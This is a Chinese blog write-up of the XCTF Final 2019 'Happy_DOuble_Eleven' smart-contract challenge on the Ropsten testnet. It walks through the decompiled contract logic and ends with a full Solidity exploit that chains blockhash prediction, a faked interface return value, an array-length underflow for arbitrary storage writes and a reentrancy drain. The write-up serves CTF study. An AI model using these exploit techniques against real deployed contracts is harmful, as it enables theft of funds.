xctf final 2019 Happy_DOuble_Eleven

今天从pikachu师傅博客上找题来学习。

还是Pikachu师傅出的题,代码十分之长。还是以往的风格有很长的逻辑串联,只有审计懂了整个代码逻辑才能够看出解题方法。

Ropsten测试网络 0x168892cb672a747f193eb4aca7b964bfb0aa6476

  function payforflag(var arg0) {
        if (msg.sender != storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }
    
        if (msg.sender & 0x0fff != 0x0111) { revert(memory[0x00:0x00]); }
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x06;
    
        if (storage[keccak256(memory[0x00:0x40])] != 0x03) { revert(memory[0x00:0x00]); }
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x05;
    
        if (storage[keccak256(memory[0x00:0x40])] <= 0x8ac7230489e80000) { revert(memory[0x00:0x00]); }
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x04;
        storage[keccak256(memory[0x00:0x40])] = 0x00;
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x06;
        storage[keccak256(memory[0x00:0x40])] = 0x00;
        storage[0x02] = (storage[0x02] & ~0xff) | 0x00;
        storage[0x00] = (storage[0x00] & ~(0xff * 0x0100 ** 0x14)) | 0x00;
        var var0 = 0x00;
        var var1 = 0x0eed;
        var var2 = 0x01;
        var var3 = var0;
        func_1489(var2, var3);
        var0 = 0x296b9274d26b7baffb5cc93e1af19012c35ace27ba9acf1badff99d1f76dfa69;
        var temp0 = arg0;
        var1 = temp0;
        var temp1 = memory[0x40:0x60];
        var2 = temp1;
        var3 = var2;
        var temp2 = var3 + 0x20;
        memory[var3:var3 + 0x20] = temp2 - var3;
        memory[temp2:temp2 + 0x20] = memory[var1:var1 + 0x20];
        var var4 = temp2 + 0x20;
        var var5 = var1 + 0x20;
        var var6 = memory[var1:var1 + 0x20];
        var var7 = var6;
        var var8 = var4;
        var var9 = var5;
        var var10 = 0x00;
    
        if (var10 >= var7) {
        label_0F50:
            var temp3 = var6;
            var4 = temp3 + var4;
            var5 = temp3 & 0x1f;
        
            if (!var5) {
                var temp4 = memory[0x40:0x60];
                log(memory[temp4:temp4 + var4 - temp4], [stack[-6]]);
                return;
            } else {
                var temp5 = var5;
                var temp6 = var4 - temp5;
                memory[temp6:temp6 + 0x20] = ~(0x0100 ** (0x20 - temp5) - 0x01) & memory[temp6:temp6 + 0x20];
                var temp7 = memory[0x40:0x60];
                log(memory[temp7:temp7 + (temp6 + 0x20) - temp7], [stack[-6]]);
                return;
            }
        } else {
        label_0F3E:
            var temp8 = var10;
            memory[var8 + temp8:var8 + temp8 + 0x20] = memory[var9 + temp8:var9 + temp8 + 0x20];
            var10 = temp8 + 0x20;
        
            if (var10 >= var7) { goto label_0F50; }
            else { goto label_0F3E; }
        }
    }

先看payforflag()

需要storage[0]=msg.sender, 然后msg.sender末尾3位 是0x111,

最后要求我们的storage[msg.sender[6]]=3

storage[msg.sender[5]]>10000000000000000000

就可以拿flag了。


   function Deposit() {
        if (msg.value < 0x1b1ae4d6e2ef500000) { return; }
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x05;
        var temp0 = keccak256(memory[0x00:0x40]);
        storage[temp0] = storage[temp0] + 0x01;
    }

Deposit函数,如果小于 500000000000000000000 他就会return ,否则,

stroage[msg.sender[5]]+=1

可以满足上述条件的一个函数,但是需要调用太多次,不现实。


  function gift() {
        var var0 = address(msg.sender).code.length;
    
        if (var0 != 0x00) { revert(memory[0x00:0x00]); }
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x05;
    
        if (storage[keccak256(memory[0x00:0x40])] != 0x00) { revert(memory[0x00:0x00]); }
    
        if (msg.sender & 0x0fff != 0x0111) { revert(memory[0x00:0x00]); }
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x04;
        storage[keccak256(memory[0x00:0x40])] = 0x64;
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x05;
        var temp0 = keccak256(memory[0x00:0x40]);
        storage[temp0] = storage[temp0] + 0x01;
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x06;
        var temp1 = keccak256(memory[0x00:0x40]);
        storage[temp1] = storage[temp1] + 0x01;
    }

gift 一般都是空投函数,这里也没有例外。

首先检测了msg.sender的 codelength也就是opcode长度,表示这里不能是外部账户调用只能是合约来调用。

然后 storage[msg.sender[5]]==0 且msg.sender后3位为111可以继续进行。

之后, storage[msg.sender[4]]=100, storage[msg.sender[5]]+=1, storage[msg.sender[6]]+=1.


function withdraw(var arg0) {
        if (msg.sender != storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x05;
    
        if (storage[keccak256(memory[0x00:0x40])] != 0x02) { revert(memory[0x00:0x00]); }
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x06;
    
        if (storage[keccak256(memory[0x00:0x40])] != 0x03) { revert(memory[0x00:0x00]); }
    
        if (arg0 < 0x64) { revert(memory[0x00:0x00]); }
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x04;
    
        if (storage[keccak256(memory[0x00:0x40])] < arg0) { revert(memory[0x00:0x00]); }
    
        if (address(address(this)).balance < arg0) { revert(memory[0x00:0x00]); }
    
        var temp0 = arg0;
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x04;
        var temp1 = keccak256(memory[0x00:0x40]);
        storage[temp1] = storage[temp1] - temp0;
        var temp2 = memory[0x40:0x60];
        memory[temp2:temp2 + 0x00] = address(msg.sender).call.gas(msg.gas).value(temp0)(memory[temp2:temp2 + memory[0x40:0x60] - temp2]);
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x05;
        var temp3 = keccak256(memory[0x00:0x40]);
        storage[temp3] = storage[temp3] - 0x01;
    }

看这个名就知道有重入。 然后分析下 合约

首先要求了 我们的storage[0]为msg.sender。

以及storage[msg.sender[5]]==2,

storage[msg.sender[6]]==3

传入的 arg0 > =100

并且满足 storage[msg.sender[4]]>=arg0

address(this).balance > = arg0

之后就会执行。

storage[msg.sender[4]]-=arg0

然后进行了转账,temp0 也就是arg0 这里出现了重入。没有对gas进行limit

之后就是 storage[msg.sender[5]]-=1


 function retract() {
        if (storage[0x01] != 0x00) { revert(memory[0x00:0x00]); }
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x05;
    
        if (storage[keccak256(memory[0x00:0x40])] != 0x02) { revert(memory[0x00:0x00]); }
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x06;
    
        if (storage[keccak256(memory[0x00:0x40])] != 0x02) { revert(memory[0x00:0x00]); }
    
        if (!!(storage[0x00] / 0x0100 ** 0x14 & 0xff) != !!0x01) { revert(memory[0x00:0x00]); }
    
        var var0 = storage[0x01] - 0x01;
        var var1 = 0x0cf4;
        var var2 = 0x01;
        var var3 = var0;
        func_1489(var2, var3);
    }

首先要求了storage[1]==0,以及storage[msg.sender[5]]==2

storage[msg.sender[6]]==2,并且storage[0]/0x0100**0x14 & 0xff == 1

个人理解+计算觉得是storage[0]左移160位并且剩下的第一位为1 第二位为0即可,我们可以猜2^160这个数字即可, 或者比他大一点但不超过2倍。均可。

然后继续运行 执行了func_1489 (var2,var3) 也就是func_1489(1,storage[1]-1)

function func_1489(var arg0, var arg1) {
        var temp0 = arg0;
        var temp1 = storage[temp0];
        var var0 = temp1;
        var temp2 = arg1;
        storage[temp0] = temp2;
    
        if (var0 <= temp2) {
        label_14B0:
            return;
        } else {
            memory[0x00:0x20] = arg0;
            var temp3 = keccak256(memory[0x00:0x20]);
            var temp4 = temp3 + var0;
            var0 = 0x14af;
            var var1 = temp4;
            var var2 = temp3 + arg1;
            var0 = func_14B5(var1, var2);
            goto label_14B0;
        }
    }

紧接着可以分析这一段。

storage[1]=storage[1]-1.

前几行其实就是执行的上述语句,

然后检测了var0 也就是原有的storage[1]如果小于等于storage[1]-1

那么return ;

否则

temp3 = kecak256(1) , temp4=kecak256(1)+storage[1] (更改过的),

var0=5295

var1=temp4,var2=temp3+ storage[1](更改过的)

var0=func_14B5(temp4, temp3+storage[1])


 function func_14B5(var arg0, var arg1) returns (var r0) {
        var temp0 = arg0;
        arg0 = 0x14d7;
        var temp1 = arg1;
        arg1 = temp0;
        var var0 = temp1;
    
        if (arg1 <= var0) { return func_14D3(arg1, var0); }
    
    label_14C4:
        var temp2 = var0;
        storage[temp2] = 0x00;
        var0 = temp2 + 0x01;
    
        if (arg1 > var0) { goto label_14C4; }
    
        arg0 = func_14D3(arg1, var0);
        // Error: Could not resolve method call return address!
    }

func_14B5之中

temp0=arg0 , arg0=5335 , temp1=arg1. arg1=arg0. var0 = temp 1

如果 arg0<= arg1 . return arg0

如果不是就进入label_14C4:

temp2=var0, storage[arg1] = 0 , var0+=1

若 arg1>var0 那么 继续 14C4 否则 arg0=arg1。


function func_126F(var arg0, var arg1, var arg2) {
    var var0 = 0x00;
    var var1 = var0;
    var var2 = 0x00;
    var var3 = var2;

    if (arg1 & 0xffffffffffffffffffffffffffffffffffffffff == 0xffffffffffffffffffffffffffffffffffffffff & 0x00) { revert(memory[0x00:0x00]); }

    if (arg2 <= 0x00) { revert(memory[0x00:0x00]); }

    var temp0 = arg0;
    memory[0x00:0x20] = temp0 & 0xffffffffffffffffffffffffffffffffffffffff;
    memory[0x20:0x40] = 0x04;
    var temp1 = storage[keccak256(memory[0x00:0x40])];
    var0 = temp1;
    var temp2 = arg1;
    memory[0x00:0x20] = temp2 & 0xffffffffffffffffffffffffffffffffffffffff;
    memory[0x20:0x40] = 0x04;
    var1 = storage[keccak256(memory[0x00:0x40])];
    var temp3 = arg2;
    memory[0x00:0x20] = temp0 & 0xffffffffffffffffffffffffffffffffffffffff;
    memory[0x20:0x40] = 0x04;
    var2 = storage[keccak256(memory[0x00:0x40])] - temp3;
    memory[0x00:0x20] = temp2 & 0xffffffffffffffffffffffffffffffffffffffff;
    memory[0x20:0x40] = 0x04;
    var3 = storage[keccak256(memory[0x00:0x40])] + temp3;

    if (var0 < temp3) { revert(memory[0x00:0x00]); }

    if (var3 <= var1) { revert(memory[0x00:0x00]); }

    var temp4 = var2;
    memory[0x00:0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff;
    memory[0x20:0x40] = 0x04;
    storage[keccak256(memory[0x00:0x40])] = temp4;
    var temp5 = var3;
    memory[0x00:0x20] = arg1 & 0xffffffffffffffffffffffffffffffffffffffff;
    memory[0x20:0x40] = 0x04;
    storage[keccak256(memory[0x00:0x40])] = temp5;

    if (var0 + var1 == temp4 + temp5) { return; }
    else { assert(); }
}

继续看func_126F

arg1最低两位需要为00 ,arg2 > 0

temp1= storage[arg0[4]] ,temp2=var1. var1=storage[arg1[4]] ,

var2=strorage[arg0[4]]-temp3,

var3=storage[arg1[4]]+temp3,

实现了arg1,和arg2转账arg3 。 stroage[4]的转账。

function func_06CE(var arg0) {
        var var0 = msg.sender;
        var var1 = var0 & 0xffffffffffffffffffffffffffffffffffffffff;
        var var2 = 0xa8286aca;
        var temp0 = memory[0x40:0x60];
        memory[temp0:temp0 + 0x20] = (var2 & 0xffffffff) * 0x0100000000000000000000000000000000000000000000000000000000;
        var temp1 = temp0 + 0x04;
        memory[temp1:temp1 + 0x20] = arg0;
        var var3 = temp1 + 0x20;
        var var4 = 0x20;
        var var5 = memory[0x40:0x60];
        var var6 = var3 - var5;
        var var7 = var5;
        var var8 = 0x00;
        var var9 = var1;
        var var10 = !address(var9).code.length;
    
        if (var10) { revert(memory[0x00:0x00]); }
    
        var temp2;
        temp2, memory[var5:var5 + var4] = address(var9).call.gas(msg.gas).value(var8)(memory[var7:var7 + var6]);
        var4 = !temp2;
    
        if (!var4) {
            var1 = memory[0x40:0x60];
            var2 = returndata.length;
        
            if (var2 < 0x20) { revert(memory[0x00:0x00]); }
        
            if (memory[var1:var1 + 0x20]) {
            label_0850:
                return;
            } else {
                storage[0x03] = arg0;
                var1 = var0 & 0xffffffffffffffffffffffffffffffffffffffff;
                var2 = 0xa8286aca;
                var temp3 = memory[0x40:0x60];
                memory[temp3:temp3 + 0x20] = (var2 & 0xffffffff) * 0x0100000000000000000000000000000000000000000000000000000000;
                var temp4 = temp3 + 0x04;
                memory[temp4:temp4 + 0x20] = storage[0x03];
                var3 = temp4 + 0x20;
                var4 = 0x20;
                var5 = memory[0x40:0x60];
                var6 = var3 - var5;
                var7 = var5;
                var8 = 0x00;
                var9 = var1;
                var10 = !address(var9).code.length;
            
                if (var10) { revert(memory[0x00:0x00]); }
            
                var temp5;
                temp5, memory[var5:var5 + var4] = address(var9).call.gas(msg.gas).value(var8)(memory[var7:var7 + var6]);
                var4 = !temp5;
            
                if (!var4) {
                    var1 = memory[0x40:0x60];
                    var2 = returndata.length;
                
                    if (var2 < 0x20) { revert(memory[0x00:0x00]); }
                
                    storage[0x02] = !!memory[var1:var1 + 0x20] | (storage[0x02] & ~0xff);
                    goto label_0850;
                } else {
                    var temp6 = returndata.length;
                    memory[0x00:0x00 + temp6] = returndata[0x00:0x00 + temp6];
                    revert(memory[0x00:0x00 + returndata.length]);
                }
            }
        } else {
            var temp7 = returndata.length;
            memory[0x00:0x00 + temp7] = returndata[0x00:0x00 + temp7];
            revert(memory[0x00:0x00 + returndata.length]);
        }
    }

func_06CE。

  • 这里是调用了 0xa8286acafunction
  • 总体来看,这里调用了 0xa8286aca 两次,输入同样的参数 arg0 一次, 0xa8286aca 第一次和第二次返回的结果不一样,但是一个 function 当它的参数确定时,他的返回结果也应该是确定的,而不会两次不一样,所以 0xa8286aca 这里应该是一个接口函数,我们是可以改写的,最后改变了 storage[0x02] 的值

function guess(var arg0) {
    var var1 = 0x00;
    var var0 = block.blockHash(block.number - 0x01);
    var var2 = 0x03;
    var var3 = var0;
    
    if (!var2) { assert(); }
    
    var1 = var3 % var2;
    
    if (var1 != arg0) { return; }
    
    storage[0x00] = (storage[0x00] & ~(0xff * 0x0100 ** 0x14)) | 0x0100 ** 0x14;
}

这里 guess 一个随机数预测,然后就可以满足上面的storage[0]高位为1的那个条件,也就是个前置的函数。

function buy() {
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x06;
    
        if (storage[keccak256(memory[0x00:0x40])] != 0x01) { revert(memory[0x00:0x00]); }
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x05;
    
        if (storage[keccak256(memory[0x00:0x40])] != 0x01) { revert(memory[0x00:0x00]); }
    
        if (!!(storage[0x02] & 0xff) != !!0x01) { revert(memory[0x00:0x00]); }
    
        if (!!(storage[0x00] / 0x0100 ** 0x14 & 0xff) != !!0x01) { revert(memory[0x00:0x00]); }
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x05;
        var temp0 = keccak256(memory[0x00:0x40]);
        storage[temp0] = storage[temp0] + 0x01;
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x06;
        var temp1 = keccak256(memory[0x00:0x40]);
        storage[temp1] = storage[temp1] + 0x01;
    }
    

buy函数

  • 要求 storage[0x06] == 1 ,这些调用 gift() 空投可以完成
  • 要求 storage[0x05] == 1 ,这些调用 gift() 空投可以完成
  • 要求 storage[0x02] == 1 ,结合 func_06CE 来看,只需使得 0xa8286aca 第二次调用返回 1 即可
  • 要求 storage[0x00] / 0x0100 ** 0x14 & 0xff == 1 ,即 storage[0x00] 的高 96 位数值要求为 1 ,这个满足 guess 即可
  • 满足上述要求后,storage[0x05] += 1storage[0x06] += 1

function revise(var arg0, var arg1) {
    if (storage[0x01] < 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000) { revert(memory[0x00:0x00]); }
    
    memory[0x00:0x20] = msg.sender;
    memory[0x20:0x40] = 0x05;
    
    if (storage[keccak256(memory[0x00:0x40])] != 0x02) { revert(memory[0x00:0x00]); }
    
    memory[0x00:0x20] = msg.sender;
    memory[0x20:0x40] = 0x06;
    
    if (storage[keccak256(memory[0x00:0x40])] != 0x02) { revert(memory[0x00:0x00]); }
    
    if (!!(storage[0x00] / 0x0100 ** 0x14 & 0xff) != !!0x01) { revert(memory[0x00:0x00]); }
    
    var var0 = arg1;
    var var1 = 0x01;
    var var2 = arg0;
    
    if (var2 >= storage[var1]) { assert(); }
    
    memory[0x00:0x20] = var1;
    storage[keccak256(memory[0x00:0x20]) + var2] = var0;
    
    if (storage[0x01] >= 0xffffffffff000000000000000000000000000000000000000000000000000000) {
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x06;
        var temp0 = keccak256(memory[0x00:0x40]);
        storage[temp0] = storage[temp0] + 0x01;
        return;
    } else {
        var0 = 0x00;
        var1 = 0x0676;
        var2 = 0x01;
        var var3 = var0;
        func_1489(var2, var3);
        revert(memory[0x00:0x00]);
    }
}
  • 要求 storage[0x01] >= 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000 ,经过 retract() 后即可满足
  • 要求 storage[0x05] == 0x02
  • 要求 storage[0x06] == 0x02
  • 要求 storage[0x00] / 0x0100 ** 0x14 & 0xff == 0x01 ,即 storage[0x00] 的高 96 位数值要求为 1 ,这个满足 guess 即可
  • 要求 arg0 >= storage[0x01]
  • 满足上述要求后,后面进行了 storage 写操作,这里是任意写

又学到了很多。

以下是pikachu师傅的分析

分析

  • 通过上面的分析后,这样整个攻击链就出来了
    • 生成符合要求的外部账户,在 constructor 中调用 gift()
    • 调用 0x23de8635 func_06CE ,这里要利用 bytecode 的方式部署,因为我们不知道 func_06CE 中调用的接口函数 0xa8286aca 的函数名,所以利用 bytecode 的方式部署第三方合约,将 fake(uint256) 对应的函数选择 id 改为 0xa8286aca 即可,这样调用 0xa8286aca 就是调用我们重写之后的 0xa8286aca 了,用 bytecode 部署可以用在线的 myetherwallet.com
    • 调用 guess() ,然后调用 buy()
    • 调用 retract()revise() 修改 owner
    • 部署第三方子合约,第三方子合约调用 gift()transfer() 给攻击合约转账,然后调用 withdraw() 进行重入攻击
    • 最后调用 payforflag 即可

exp

  • 外部账户满足其部署的第一个合约地址最后 12 位是 0x111
  • 可以用下述脚本生成,generate_eoa1() 是生成外部账户最后 12 位为 0x111generate_eoa2() 是生成满足外部账户部署的第一个合约最后 12 位是 0x111 ,我们用 generate_eoa2() 即可
pragma solidity ^0.4.23;

contract hack {
    address instance_address = 0x168892cb672a747f193eb4aca7b964bfb0aa6476;
    uint have_withdraw = 0;
    
    int cnt = 0;
    
    constructor() payable {
        // gift()
        address(instance_address).call(bytes4(0x24b04905));
    }
    
    function step1() public {
        // storage[0x02] == 1
        address(instance_address).call(bytes4(0x23de8635), 0);
    }
    
    function fake(uint256 _i) public returns(uint256) {
        if(cnt == 1) {
            return 1;
        }
        cnt = 1;
        return 0;
    }

    function step2() public {
        // guess(uint256)
        uint256 v = uint256(block.blockhash(block.number-1)) % 3;
        address(instance_address).call(bytes4(0x9189fec1), v);
        // buy()
        address(instance_address).call(bytes4(0xa6f2ae3a));
    }
    
    function step3() public {
        // retract()
        assert(address(instance_address).call(bytes4(0x47f57b32)));
    }
    
    function step4() public {
        // revise(uint256,bytes32)
        uint256 solt = 2**256-0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6;
        address(instance_address).call(bytes4(0x0339f300), solt, 2**160 + uint256(address(this)));
    }
    
    function step5() public {
        // withdraw
        address(instance_address).call(bytes4(0x2e1a7d4d), 100);
    }
    
    function() payable {
        if (have_withdraw <=2 && msg.sender == instance_address) {
            have_withdraw += 1;
            address(instance_address).call(bytes4(0x2e1a7d4d), 100);
        }
    }
    
    function step6(string b64email) public {
        address(instance_address).call(bytes4(0x6bc344bc), b64email);
    }
}

contract son {
    address instance_address = 0x168892cb672a747f193eb4aca7b964bfb0aa6476;
    
    constructor() payable {
        // gift()
        address(instance_address).call(bytes4(0x24b04905));
        // transfer
        address(instance_address).call(bytes4(0xa9059cbb), address(0x2db8f907965a5742f16f82cddced585f8bc04111), 100);
    }
}

推荐文章

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注